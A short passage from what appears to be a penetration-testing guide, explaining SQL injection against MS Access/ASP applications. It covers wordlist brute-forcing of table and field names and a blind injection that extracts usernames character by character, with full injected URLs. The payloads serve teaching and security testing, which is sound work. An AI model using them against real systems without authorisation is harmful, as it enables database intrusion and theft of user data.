Table and Field Names Brute forcing	▪ Using our favorite scripting language, it is possible to iterate on all wordlist items using the query: <i>http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+\$wordlist)%00;</i> — If the <i>\$wordlist</i> item exists, the web application should display a standard HTML response. ▪ Once obtained a valid table name, we can guess a field name in a similar way: <i>http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i]+FROM+validTableName)%00;</i>
Blind SQL Injection	▪ Assuming that we have already discovered the vulnerable ‘id’ field, the table name and the field name, we can proceed using the following query: <i>http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)%20&#13;from%20(select%20top%2010%20username%20from%20users))='a',0,'ko');</i> ▪ In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the <i>TOP 10</i> operator, it is possible to select the first ten results. The subsequent usage of <i>LAST</i> allows to consider the 10th tuple only. ▪ On such value, using the <i>MID</i> operator, it is possible to perform a simple character comparison. ▪ Properly changing the index of <i>MID</i> and <i>TOP</i>, we can dump the content of the “username” field for all rows.

